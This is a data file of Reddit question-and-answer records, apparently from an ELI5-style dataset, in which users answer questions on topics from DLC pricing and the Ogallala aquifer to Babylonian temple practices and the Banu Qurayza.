reactants and electrolytes to diffuse and equilibrate, so the voltage - thus the battery gauge - returns to the \"true\" value."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Nernst_equation"]]}
{"q_id": "2ee9uh", "title": "why do people hate dlc so much?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ee9uh/eli5why_do_people_hate_dlc_so_much/", "answers": {"a_id": ["cjymadv", "cjymcx5", "cjymdi2", "cjymgrn", "cjyn7fx", "cjyo30s", "cjyoqd5", "cjypfl4", "cjyq38k", "cjyqxka", "cjyucad", "cjyvewq"], "score": [12, 68, 8, 3, 4, 2, 7, 9, 2, 3, 3, 2], "text": ["Because people don't like to pay for things and many DLCs these days are paywalled.\n\nAlso DLC done wrong makes it feel like they sold you an incomplete game... and then are making you pay more to play more of the game.", "People have nothing against dlc. Remember fallout 3? No one bitched about those.\n\nProblem are day 1 dlc. Preorder dlc. That means it's jsut a cash grab. Because the dev developed dlc alongside the game, so you actually get a game with \"cut\" content presented as paid dlc.\n\nIf the dlc comes after the release you don't feel cheated like that. Blame publishers for it.", "Because it's a greedy marketing strategy", "There was a time when you got a whole game (or let's say a full story). Younger people might not remember that. And nowadays you buy the game and there will be at least 4 big story dlcs if you do not buy them you miss part of the story. What DLCs mostly do is double the price of a game. That's why i stopped buying anything but game of the year editions.", "Like many answers the true answer is, it depends.  Depends on the quality of the DLC and the timing.  People dislike day one DLC because the implication is that the developer had stuff in the game and is just charging the customer more because they can.  This one ins particular is exacerbated when people find out that the DLC is usually in the game files to begin with and customers are just being charged for something they technically already have.  I'M LOOKING AT YOU MASS EFFECT 3.\n\nMost post launch DLC comes down mainly to quality.  I think the shining example of terrible DLC is the Oblivion horse armor DLC.  It was simply charging players to be able to put armor on a horse.  I don't recall it even having an effect, it was purely cosmetic.  For the DLC's which are viewed as shitty, obviously they are not well regarded.  There are DLC which have come out and are enjoyed by people who play them.\n\nWhat has become more and more prevalent are basically post launch micro-transactions.  Charging small amounts of \"DLC\" that effectively have no real in game effect.  These are seen quite often as superfluous and attempts to just squeeze money from customers.  The other side of the argument for this cosmetic items is the fact that since they are not useful in any way, people can just not buy them.\n\nAll of this leads to something that is seen as the way the industry is moving.  More games are releasing day one DLC.  More games are releasing what is effectively overpowered gamebreaking DLC.  Games are releasing more and more DLC deemed inadequate.  These unpopular DLCs tend to get more press than the DLC that people like.\n\nNegative attributes tend to be the dominant focus for most people.  Ignore the good DLC and focus on the bad.  I stand by the idea that 90% of everything sucks, no reason this doesn't affect DLC as well.  It's about finding the good DLC and trying to avoid the bad.", "People love DLC. People have problems with paid DLC existing closely after release or at release. It is seen as a greedy marketing ploy, or a companies inability to complete a game. ", "I hate when assholes like capcom hide characters on the disc behind DLC purchase.   I miss the days of playing through a game and unlocking characters, outfits, modes, movie sequences, etc.    There are some DLC packs that I don't mind, but I truly miss unlocking stuff and not having to pay for it.", "Map Packs. \n\nMap packs used to be free. \n\nGames used to ship with 15+ maps. \n\nNow they ship with 5, and they expect you to shell out 30 bucks for another 6-9. \n\nAnd you HAVE to. Because if you are playing online you get walled off in the small slice of the community that didn't buy it. So all of a sudden your \"Call of Battlefield: Reach\" that you paid $60 for so you could play with all the rest of your loyal fanbros wants to dip right back into your pocket, even though $60 is a pretty nutty price for a game that is just selling you 5 multiplayer maps and 3 rules sets to begin with. \n\nThis is pretty much how widespread DLC started, its abusive, and I am pretty sure a lot of the hate is just spillover from this type of behavior.", "One reason is because I like to know (a) what I'm going to get; and (b) what I have to pay;    before I make the decision to purchase or not.\n\nIf I don't know there will be DLC at the time when I purchase the game, then I'm not able to account for the DLC cost is my decision to purchase.  So I'm unhappy when the cost appears later.  As to the game content of the DLC, I don't consider this extra content because I don't know what the main game includes before I play.  So when I purchase a game I think: \"okay I'm getting whatever the whole experience is, for single price $xyz\". But then DLC comes along and I feel like I now have paid $xyz + $abc, and only received the whole game I thought I was already getting for $xyz.", "This is why I sail the Seven Seas (along with being a student and not wanting to drain my parents' cash off). I don't mind DLCs with a whole lot of new content (Skyrim: Dragonborn/Dawnguard? New storylines, many new places to explore, new items...) but I dislike shitty easy-mode stuff (Courier's Stash in Fallout New Vegas just gives you a lot of free and very relevant early armors and weapons). Sorry for only Bethesda examples. \n\nAlso, some expansion DLC are short, overpriced or promote season passes which I hate.", "The problem is that dlc has changed over the years. Dlc used to be expansions (normally free) to add vast amounts of gameplay to an already finished and polished game. But now games are designed around the idea of adding content later, a great example of this is the call of duty  and modern warfare series. The story is short, and the actual game has just enough maps to keep someone temporarily entertained. Then as soon as the launch of the game they announce more maps. Maps they have had done since before the game came out. It's all about market strategy. It's no longer about improving the game for the player, it's now about making as much money as they can without doing any more work, sadly.", "How you feel if you ordered a pepperoni pizza, and you were missing a slice and pepperoni? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1lempl", "title": "What will happen as the Ogallala Aquifer dries up?", "selftext": "The aquifer is supposed to dry up in the next few decades. Obviously this means that farmers will have to use far less water. How will this affect US food production? Are we going to see a decrease in output? A change in crop types?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lempl/what_will_happen_as_the_ogallala_aquifer_dries_up/", "answers": {"a_id": ["cbykcwr", "cbyklv0", "cbyn1xa"], "score": [2, 26, 9], "text": ["Either the land will have to go fallow, the types of crops grown will have to those which require less water, or possibly crops that are GM modified to be more drought tolerant.  There are some areas of the aquifer that will be dry in a few decades, and some that will have access to water for a longtime though, it all depends upon the local depth and use intensity of the aquifer.  ", "This will really deteriorate crop production The area which uses the aquifer the most, areas just East of the Rockies like Texas, Oaklahoma, Kansas and Nebraska, will seriously have to cut back irrigation. Those areas receive such little rainfall that corn will most likely not be able to grow there, even with GMO technology.  The result will probably be a shift to old crops such as wheat which needs less water and are currently grown more in the Northern places like Montana and the Dakotas.  These places were once areas of short grass prairie and Bison, hopefully someone will be smart enough to reestablish native prairie grasses and graze Bison, which live there naturally without any real help, rather than grow corn to be fed to cattle in a feedlot. (I'm biased toward this fyi).  This change in production of major crops like corn won't effect our food availability much because we have so much surplus to export, but it will increase prices.  The aquifer really will effect local small produce growers in the region that need irrigation for fruit and veggies. I hope this answers your question. I can expand on it more if you want.", "Geologist here. This isn't exactly what you're asking, as the Ogallala aquifer is depleted, we can expect a great deal of subsidence in the high plains. The Ogallala is composed (to the best of my memory) of loosely consolidated gravel, which means that as water is pumped out and the pore pressure of the aquifer decreases, the gravel will settle and the ground's surface will subside. This might not be a problem, but we've seen in areas like Florida that subsidence can lead to a devastating sinkhole problem.\n\nMore reading:\n_URL_0_\n_URL_1_ "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Groundwater-related_subsidence", "http://news.discovery.com/earth/weather-extreme-events/sinkholes-florida-groundwater.htm"]]}
{"q_id": "af955v", "title": "why do the winters of ohio or michigan cause cars to rust more than cars in florida?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/af955v/eli5_why_do_the_winters_of_ohio_or_michigan_cause/", "answers": {"a_id": ["edwi3me", "edwi4j9", "edwib2e"], "score": [3, 3, 3], "text": ["Because cold weather states throw down salt on the roads to prevent ice. The salt eats away at the metal causing rust. In Florida\u2019s it rarely snows and they don\u2019t throw down salt on the roads. ", "Since the winters in Ohio and Michigan tend to have snow and ice, the road salt that is placed on roads is a highly corrosive agent. Over time the salt and water mixture causes the cars to rust.", "My guess is that winters in Florida don't require as much salt to de-ice the streets compared to winters in Ohio or Michigan.\nThat salt is aggressive and causes rust in vehicles. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "17o1g4", "title": "how is my credit card monthly payment calculated?", "selftext": "I know I have a 9.9% interest rate but how is thee minimum payment calculated? How much is the other part of the minimum payment calculated? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/17o1g4/eli5_how_is_my_credit_card_monthly_payment/", "answers": {"a_id": ["c87dc8b"], "score": [2], "text": ["Usually it's two parts.  The first part is calculating the interest.  Generally, interest is calculated annually, then divided to show how much was charged in a given span of time.  For example, if your interest rate is 10% annually, also known as APR (annual percentage rate) and you have a balance of $100, then the calculation would look something like this:\n\n100 * .1 = 10\n\nSo you would owe $10/year in interest.  However, your credit card bill is usually only for a month.  (About 30 days).  So we need to figure out how much interest is charged each day.\n\n10/365= about .0274 dollars per day.  \n\n$.0274 * 30 days in a month = $.82.  \n\nSo, in a month, we've accumulated 82 cents in interest.\n\nNow, we have to figure out how much principal is being paid.  Usually, this is 1% of the principal.  (Which is why it takes SO long to pay off a credit card with only minimum payments.)\n\n100*.01 = $1\n\nSo, our credit card payment would be the .82 in interest plus the $1.00 in principal.  If we didn't charge anything else, then next month's payment would be:\n\n(99 * .1 /365 * 30) + (99*.01) = $1.80.\n\nEdited for spelling.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7ve6iy", "title": "If gravity is the weakest of the fundamental forces, why aren't celestial bodies movement, especially those with magnetic properties, governed by electromagnetism rather than gravity?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7ve6iy/if_gravity_is_the_weakest_of_the_fundamental/", "answers": {"a_id": ["dtrm34b", "dtsap5u"], "score": [125, 5], "text": ["Celestial bodies (and our universe in general) are electrical neutral. That's because electrical charge is a conserved quantity, meaning you can't create an negative electrical charge without also creating an positive charge, as the total sum has to stay the same. As we understand it now, this holds true for the entire history of the universe.\n\nAny significant charge imbalance will quickly neutralize itself, by attracting the opposite charge. That's why the earth is electrical neutral even though it's permanently bombarded with charged particles from the solar wind: If it had accumulated a positive charge, it would then draw more negative charges from the solar wind, and vice versa.\n\nAny objects will find enough charges from ions, interstellar particles and so on to neutralize eventually. Therefore, electrical forces do not play any significan role on large scales in our universe.", "There's no limit on the mass of a star, but you usually can't get a really big charge on an object without the thing tearing itself apart. Once it's all torn apart, it's easier for opposite charges to get at each other, turning the whole thing neutral.\n\nOne exception is a magnetar, a neutron star where the gravity is just strong enough to hold the star together despite a large negative charge.  Gravity squishes protons and electrons together into neutrons, but any extra electrons live on the surface of the star and slosh around, making frickin' enormous magnetic fields.  In a magnetar, the magnetic fields themselves are so strong that they have ten thousand times the energy density of lead.  The chemistry of life stops working when you get within 1000km.  The vacuum becomes birefringent.  Atoms are deformed into long cylinders thinner than the quantum-relativistic de Broglie wavelength of an electron.  It's totally crazy.\n\nBut even magnetars have to be really close together (in astronomical terms) in order for the electromagetic field to have a noticeable effect:  _URL_1_  estimates the charge on a magnetar to be around 10^15 Coulombs.  The mass of an average neutron star is around two solar masses.  The electrostatic repulsive force between two magnetars at a lightyear distance is around [10^8 Newtons](_URL_2_), while the gravitational attraction is around [10^18 Newtons](_URL_0_), around ten billion times greater.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.wolframalpha.com/input/?i=6.674%C3%9710%5E-11+newton+square+meters+per+kilogram+squared+*+%282*10%5E30kg%29%5E2%2F%281+lightyear%5E2%29", "https://arxiv.org/abs/astro-ph/0009239", "http://www.wolframalpha.com/input/?i=%28%2810%5E15+coulomb%29%5E2+%2F+1+lightyear%5E2%29+*+%289+*+10%5E9+N+m%5E2%2F+coulomb%5E2%29"]]}
{"q_id": "1q8exm", "title": "what is phase shifting? and how does it work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1q8exm/eli5what_is_phase_shifting_and_how_does_it_work/", "answers": {"a_id": ["cdae3h5"], "score": [2], "text": ["Phase shifting is a technique that noise cancellation headphones use to reduce outside noise.\n\nWhat happens is there is a microphone listening to background noise and then that signal is duplicated and played 180 degrees out of phase.  This phase shift causes the noises to reduce significantly - seeming to \"cancel\" outside sound interference.\n\nImagine a perfect sin wave - then duplicate it and move the second wave forward on a graph until the maximum peak of one wave lines up with the lowest point of the trough on the second.\n\nPlaying these two waves simultaneously cancels out the wave altogether.  It's like adding +1 and -1: you get 0\n\nEDIT: I realize that you didn't ask about noise cancellation - but using that as an example helps to paint a picture of what phase shifting can be used for."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4qfi5d", "title": "Ancient Babylon: Did they really practice public deflowering of virgins via ritualized sex in the name of some goddess?", "selftext": "Both Herodotus and the Old Testament describe how young women in Babylon and other ME regions were brought to a temple when they were old enough and would prostitute themselves for a day. Is there any truth to this practice, or is it just embellishment by Herodotus and anti-Babylonian propaganda by the ancient Hebrews?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4qfi5d/ancient_babylon_did_they_really_practice_public/", "answers": {"a_id": ["d4smoms", "d4sq7en", "d4srhxu", "d4srj8v", "d4stv2z"], "score": [28, 119, 16, 13, 752], "text": ["Well that was a fast turnaround. Anyway, a related question: How did the various turnovers in Babylonian control affect this practice (if it was real)? By this, I mean whether the practice was opposed or stopped completely during Kassite, Assyrian, and Persian control. I know that Zoroastrianism never really took hold in Babylonia, so I'm wondering whether this continued into the Common Era.", "I'm pretty sure I've read the whole old testament a few times and never noticed any mention of this, and a search doesn't bring it up.  Could you tell me where it's talked about?", "Is it \"prostitute themselves for a day\" or \"ritualized sex\"?", "Wanna provide some source texts or...?", "As you describe it - that is, that as a rule young women would lose their virginity as part of a ritual process - this definitely did not take place. The idea that 'temple prostitutes' existed (either for a day or as a profession) is almost entirely reliant on Herodotus' account and no explicit literary evidence from the Ancient Near East exists to back him up.^1 \n\nLooking at the evidence for sexual activity (including prostitution) that took place in and around temples a little more evidence is available, but it is still very scarce compared to descriptions of other professions related to ritual practice. Lerner suggests that for deities connected explicitly with fertility and procreation (such as Inanna/Ishtar), offering prostitution would have been seen as divinely appropriate, and perhaps seen as separate from 'commercial' prostitution.^2 Westenholz adds that, if sexual activity was carried out within a temple context - say, to bestow a divine blessing on a man trying to conceive with his wife - it should not rightly be called 'prostitution' since it was carried out within strict boundaries of conduct and explicitly with a ritual purpose.^3 Commercial prostitution, on the other hand, would be outside this controlled sphere, and Westenholz suggests that the generally blurred lines between sacred and secular account for the embellished descriptions of sexual activity in or around temples as we find it in Herodotus, or the allusions to it in the Hebrew Bible. Whether this is a particularly useful semantic distinction is up for debate: if we define prostitution as 'the act of providing sex in exchange for payment' it is quite possible that sexual activity associated with temples in Mesopotamia might qualify; however, we simply don't have enough evidence to determine whether this was the case. \n\nSome kind of ritual sex seems to have taken place in the late-3rd to early 2nd millennium BCE during the Akitu festival (the Babylonian and Assyrian new year celebration), involving the king and a priestess (perhaps even the high priestess), to symbolise the union of Dumuzi/Duzu and Inanna/Ishtar that bestowed fertility.^3 Inanna/Ishtar furthermore served as the patron deity of prostitutes - several words for prostitute are recorded in Old Babylonian legal texts - and it is possible that one kind of prostitute was employed directly by the temple for commercial (but not ritual) purposes.^4 \n\nOther kinds of activities associated with procreation were certainly and explicitly connected with the temple and with ritual - importantly, childbirth and midwifery. The word *qadishtu* 'holy woman' (describing a type of priestess performing these duties) seems to underlie the Hebrew word (*qedesha*) that is used in Hosea 4 and Genesis 38, the two main passages previously thought to allude to sacred prostitution. However, according to the available evidence, the *qadishtu* did not provide sexual services but rather was a kind of temple-employed midwife.* \n\nTo sum up: there seems to be some evidence for prostitution in association with temples, but only explicitly for commercial purposes. Whatever sexual activity took place would be exclusively ritual (in the case of the Akitu festival), not understood as prostitution quite in the way we usually see it. The kinds of embellishments found in the Hebrew Bible and Herodotus are poor reflections of actual practice, and this is clear even with the relatively restricted evidence we have for it.\n\n-------------------\n^1 Oden, *The Bible Without Theology*, University of Illinois Press, 1987.\n\n^2 Lerner, 'The Origin of Prostitution in Ancient Mesopotamia' in *Signs* 11, 1986.\n\n^3 Westenholz, 'Tamar, Qedesha, Qadishtu, and Sacred Prostitution in Mesopotamia' in *The Harvard Theological Review* 82, 1989.\n\n^4 Gruber, 'Hebrew Qedesha and her Canaanite and Akkadian Cognates' in *Ugarit-Forschungen* 18, 1986.\n\n\\*I should clarify something that I didn't make quite clear and that others have commented on (quite rightly). In Gen 38, Judah mistakes his daughter-in-law Tamar for a prostitute, and in this context Tamar is referred to as a *qedesha*. Because this word was used, it was often assumed that the Akkadian cognate *qadishtu* referred to a female temple worker who performed sexual duties. What I meant to point out is that - leaving aside completely the question of the interpretation of Gen 38 - contemporary evidence from Mesopotamia makes it clear that the *qadishtu* did not perform such duties, and that the etymological connection should not be seen as proof that sacred prostitution was commonplace in the wider Ancient Near East."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "7clgjn", "title": "Why are there a whole bunch of islands on one side of the Ring of Fire (Japan, Philippines, Taiwan...) and not the other (the West coast of the Americas)?", "selftext": "I was looking at [this map of seismic risk](_URL_0_).\n\n* I noticed the highest risk areas on the Americas were all the west coast and that there are not a lot of major islands there.\n\n* I noticed that the highest risk areas on the Australasian side were all islands like Japan, Taiwan, Philippines New Guinea, New Zealand leaving the Mainland coasts of Asia and Australia relatively free of seismic risk.\n\nWhy is this?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7clgjn/why_are_there_a_whole_bunch_of_islands_on_one/", "answers": {"a_id": ["dpr0wti"], "score": [16], "text": ["For the most part, areas with high seismic risk are [along the boundaries of plates](_URL_7_), so the simple answer to your question is the western coast of the Americas and the Pacific islands are along plate boundaries where as the eastern coast of Asia is mostly not.\n\nThe reason these plate boundaries look the way they do largely comes down to some of the nuances of how subduction works. To start off, take a look at that map of the plates again, you'll see that most plates are mixtures of [continental](_URL_3_) and [oceanic crust](_URL_5_). Continental crust tends to stick around once its made where as oceanic crust is constantly being created at [mid-ocean ridges](_URL_0_) and consumed at [subduction zones](_URL_6_). When oceanic crust is subducted, it introduces a fair amount of water into the mantle which in turn causes melting. In detail, this de-watering of the subducted oceanic crust occurs when a portion of the oceanic crust reaches ~100 km depth. This means that at most subduction zones, there are an array of volcanoes in the over-riding plate (the plate that is not being subducted), which we refer to as a [volcanic arc](_URL_2_). When the overriding plate is continental crust (like on the western coast of the Americas) you get a continental arc (e.g. the Cascade volcanoes in the Pacific NW of the US and Canada, the various volcanic belts throughout Mexico, Central America, and down the spine of the Andes Mountains). When the overriding plate is oceanic crust, you get an island arc (e.g. Java, Sumatra, etc). So, the high-seismic risk and the islands in the western Pacific are both there because of the subduction zones and because there is a fringe of oceanic crust between those subduction zones and the main continental portion of the Eurasia plate (which is not the case on the western coast of the Americas).\n\nNow, the final complication is that in some cases, originally the plate boundaries along the eastern edge of Eurasia may have looked more like the western coast of the Americas (i.e. oceanic crust subducting beneath continental crust with no islands), but a [back-arc basin](_URL_1_) began to form via rifting between the continent and the volcanic arc. This tends to happen when a subducted slab of oceanic crust 'rolls-back'. Imagine this slab of crust less as being shoved beneath the overriding plate and more as it sinking and 'sucking' the other plate toward where it use to be at the surface. If the slab starts to sink faster, this basically sucks the overriding plate faster, and this is sometimes enough where the whole plate is unable to move and so the edge of the plate starts to rift and extend in the 'back-arc' region to keep up with the rate of slab roll-back. This 'back-arc extension' is what [formed the Sea of Japan](_URL_4_) and similar processes have partially influenced the details of a lot of the plate boundaries in the western Pacific to produce this fringe of oceanic crust between the subduction zone and the continental crust of the Eurasian plate."]}, "title_urls": [], "selftext_urls": ["https://i.redd.it/kr80krfuunxz.jpg"], "answers_urls": [["https://en.wikipedia.org/wiki/Mid-ocean_ridge", "https://en.wikipedia.org/wiki/Back-arc_basin", "https://en.wikipedia.org/wiki/Volcanic_arc", "https://en.wikipedia.org/wiki/Continental_crust", "http://www.sciencedirect.com/science/article/pii/S0040195116303547", "https://en.wikipedia.org/wiki/Oceanic_crust", "https://en.wikipedia.org/wiki/Subduction", "http://geology.com/plate-tectonics.jpg"]]}
{"q_id": "ayxf2o", "title": "Constantine XI Palaiologos was the last Roman Emperor (Basileus) who died in the siege of Constantinople in 1453. Is the Palaiologos family still around? If so wouldn\u2019t that make the remaining family member(s) have one of the most legitimate claim to the Roman Empire more than the Pope or Patriarch?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ayxf2o/constantine_xi_palaiologos_was_the_last_roman/", "answers": {"a_id": ["ei3xnz3"], "score": [2], "text": ["Unfortunately no, the Palaiologos dynasty ended with the death of Ferdinando Paleologus in 1678 on the island of Barbados, thus ending any legitimate (through male descent at least) members of the dynasty. There were rumors that a bastard might\u2019ve slipped into the family tree, never confirmed however.\nSource: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.thenationalherald.com/3741/ferdinando-paleologus-last-byzantine-emperor-in-western-hemisphere/"]]}
{"q_id": "2f9fw8", "title": "Why were Spanish colonial cities like Lima bigger than British colonial cities like Philadelphia?", "selftext": "In the 18th century, Lima outnumbered Philly by a huge margin. Was it because of a headstart? Trade?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2f9fw8/why_were_spanish_colonial_cities_like_lima_bigger/", "answers": {"a_id": ["ck7645i"], "score": [3], "text": ["I'm not sure this counts as a comprehensive answer to your question, but part of the reason could probably be traced to the Spanish policy of *reducciones*. During the early 16th century, the Spanish colonial government found it difficult to maintain control over largely dispersed indigenous populations in rural areas. In Peru, this changed in the 1570s under the viceroyalty of Francisco Toledo. Part of the so-called \"Toledo Reforms\" involved forcibly relocating indigenous people to congregated urban centers like Lima in order to more efficiently manage them for labor requirements. This created a rapid period of urban growth in the Andes, as previously small settlements were abandoned and people were moved into larger urban centers.\n\nIn addition to this, Lima experienced more standard population growth associated with being both a regional capital and a center of trade. Spain's model of colonialism was primarily one of resource extraction, and given the rugged geography of western South America the most effective means of moving goods was by sea. Lima functioned as the main port for all goods moving to and from the Andes, and was also the seat of the colonial government, which made it a popular city for settlers. \n\nAnd finally, Lima was founded in the mid-16th century, while Philadelphia was founded in the late 17th century. So it also had simply been around longer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7umt83", "title": "In reading Sherlock Holmes, there are quite a few lines in French or German without translation. Would the average English reader in the 1890s be expected to understand multiple languages?", "selftext": "I've found myself having to look up the translations and then realized there would be no easy way for a reader to easily access translations when these stories were written. Were the foreign language portions included as simply a means of showing Holmes' brilliance or was there something more to it? I know very little about the Victorian period and thus don't know the intellectual expectations with which Doyle was working.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7umt83/in_reading_sherlock_holmes_there_are_quite_a_few/", "answers": {"a_id": ["dtm0qrf"], "score": [159], "text": ["As a follow up question, the first Sherlock Holmes short stories and 2 of the novels were first published (or serialized) in the Strand Magazine, was the readership average in terms of literacy or was is aimed at more highly educated readers?\n\nEdit - Sorry the first 3 volumes of short stories were published in the strand. That paragraph implied all of them were."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2fmy5x", "title": "Why did the Prophet attack banu Qurayza at 627AD?", "selftext": "The post before about the same question was removed because of inappropriate wording so I repost it. Thanks! ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2fmy5x/why_did_the_prophet_attack_banu_qurayza_at_627ad/", "answers": {"a_id": ["ckavezi", "ckaw0xk"], "score": [2, 13], "text": ["The Banu Qurayza were with the Banu Nadir and the Banu Qaynuqa one of three jewish tribes of Yathrib (later Madinah).\nAfter the Battle of the Trench, one of the last battles between the ummah and the \nmeccan Quraysh, the early muslims in Yathrib and it's allies attacked the Banu Qurayza and killed \nevery male member of the tribe, who didn't convert to islam.\nThe incident is not mentioned outside muslim sources, \nof which the earliest were written about 200 years after the event. This makes the motive of the ummah's leader quite difficult to explore.\nAccording to the Encyclopedia of Islam II the main motive of the attack lay in negotiations between the quraysh and the banu qurayza during the siege.\nIf you look at the \"Constitution of Madinah\", a document that could  originate from this epoche, you see not hostility against the jewish religion\nbut issues of tribal loyality as the main concern of the ummah. So IMHO the Interpretation of the EI seems to be sensible.\nIn the muslim narrative Jibra'il visits the Prophet in a dream after the battle of the trench and tells him to attack the Banu Qurayza.\nThis seems to implie a religous conflict, but when put in the context of the attacks and expulsions of the other tribes mentioned above, \nwhere the conflicts originated out of matters of personal trust (Banu Nadir) and of economic matters (Banu Qaynuqa), \none should interpret the attack as a tribal conflict. \n\nSources: EoI Second Edition  ", "This is a particularly difficult question to address. Mostly because it is quite controversial, and as such its really hard to find un-biased accounts on the matter that aren't behind a paywall. Beyond that, the actual historical records we have from the time and place are far from all-encompassing, so its hard to separate fact from faulty historical accounting. \n\nThat being said, heres the thing, Muhammad didn't attack Banu Qurayza as much as that tribe was formally executed for attacking the early Muslim nation along with violating a charter that they were party to. To better understand how this all went down, you have to first understand the city of Medinah pre-Islam. It was known then as Yathrib, and was one of the few fertile and arable spots in a vast desert. As such, many different groups in the area had taken up abode there, namely Arab Jews and Arab Pagans. Among the many tribes was one, the Banu Qurayza. Muhammad's arrival at the city, though it coincided with the Muslim expulsion from Mecca, was actually at the request of the people of Yathrib. See, the city was mired in all kinds of social problems and strife-practically on the verge of anarchy. Meanwhile, Muhammad by this time had drummed up quite a reputation based on his personality. Traits he was well known for even before the advent of Islam in his life. One of these character traits he was known by was as an excellent arbitrator and mediator. So the people of Yathrib invited him to mediate their affairs and act as a neutral party who could help them resolve the many societal issues that plagued the city. So together, with the people of Yathrib *including* the Qurayza, [this](_URL_2_) charter was drawn up. When speaking of this particular event, it often gets spinned into \"Muhammad had the Jews killed cus he was an intolerant ant-semite and blood-thirsty war lord\". Reading through the Constitution of Madinah, one of the first of its kind, should raise some suspicions about this take. In regards to the Banu Qurayza, one should look to these particular clauses:\n >  * If anyone attacks anyone who is a party to this Pact the other must come to his help.\n\n >  * Yathrib will be Sanctuary for the people of this Pact.\n\n >  * Quraysh and their allies will not be given protection.\n\n >  * The parties to this Pact are bound to help each other in the event of an attack on Yathrib.\n\n >  * If they (the parties to the Pact other than the Muslims) are called upon to make and maintain peace (within the State) they must do so. If a similar demand (of making and maintaining peace) is made on the Muslims, it must be carried out, except when the Muslims are already engaged in a war in the Path of Allah. (so that no secret ally of the enemy can aid the enemy by calling upon Muslims to end hostilities under this clause).\n\nSo where does Banu Qurayza come into play in all of this? [The Battle of the Trench](_URL_4_). This was one of the single most important Battles in the history of Islam, and I would recommend any student of history to look into it, very fascinating stuff. But in relation to the topic at hand, a massive Quraysh-led army has come to surround Yathrib on all sides, vastly outnumbering the Muslims and their allies. Facing utter extermination, the people of Yathrib and the Muslims braced themselves for a bloody onslaught. Well, except for the Banu Qurayza. They openly defected to the side of the Quraysh and began assaulting Yathrib. Though I could go on and detail the battle and various accounts, that's the most important fact in all of this. That the Banu Qurayza had openly betrayed the Constitution of Madinah. Fast forward a few weeks and the Muslims  &  People of Yathrib had somehow managed to rout the invading forces. They next turned their attention to the defectors, and besieged the Qurayza stronghold, eventually defeating them as well. With the conflict resolved came the matter of judgement. \n\nMuhammad, instead of decreeing a punishment himself, put the matter in the hands of a tribe allied to Qurayza so that they may be punished according to their own customs. This brings up the absolutely critical  detail that one must consider to understand this whole affair: it wasn't Muslims vs Jews. It was Muslims and various other tribes *including Jews* vs Quraysh, Qurayishi allies, and Qurayza. In fact, the man chosen to be the Judge in the matter, [Saad Ibn Muadh](_URL_0_), *was chosen by the Qurayza*. Before getting himself killed, he had decreed that the Qurayza be tried by the Torah. \n\nThe execution of the Qurayza men and boys that followed was the result of an arbitration against a treacherous tribe, and was carried out by their own laws: in particular [Deuteronomy 20:12-14](_URL_1_)\n\nSources:\n\n[Emigration to Yathrib](_URL_5_)\n\n[The Jews of Madinah](_URL_3_)\n\n[Constitution of Madinah](_URL_2_)\n\n[Battle of the Trench](_URL_4_)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Sa%27d_ibn_Mu%27adh", "https://www.biblegateway.com/passage/?search=Deuteronomy+20:12-14", "http://www.constitution.org/cons/medina/macharter.htm", "http://www.pbs.org/muhammad/ma_jews.shtml", "http://en.wikipedia.org/wiki/Battle_of_the_Trench", "http://www.britannica.com/EBchecked/topic/295765/Islamic-world/26874/Muhammads-emigration-to-Yathrib-Medina"]]}
{"q_id": "1ncgu9", "title": "Were the Greek and Roman empires really the largest and most powerful/advanced in history?", "selftext": "Really, what I want to know is if the Greek and Roman empires truly were the \"supreme\" empires throughout history, or if Western civilization tends to focus on them because Western civilization originates from them. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ncgu9/were_the_greek_and_roman_empires_really_the/", "answers": {"a_id": ["cchehzn"], "score": [3], "text": ["Western education obviously gives them greater importance, since \"history\" usually means \"our history\" in basic schooling. \n\n[Here's a cute visualization](_URL_0_) that compares empires by both size and duration - the total area of the empire's box gives you a good idea of its true extent in both time and space. Including duration is helpful, because it gives a better sense of lasting influence, which is arguably a better indicator of power than size, which might only indicate a talented conqueror.\n\nThe Macedonian Empire is quite tiny, because it didn't last. It had a very talented conqueror, but not a whole lot else going for it. The Roman Empire had duration, so their influence and power was more than just military. On this chart, they do not especially stand out on a world scale, but the chart downplays the real might of the Romans, because it completely leaves out the Republic and the Eastern Empire. But on the other hand, it lets you easily pick out a list of who its real rivals were for most powerful in history - for me, the Abbasids, Mongols, Ottomans, Spanish, and British are stand-outs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.visualizing.org/full-screen/30886"]]}
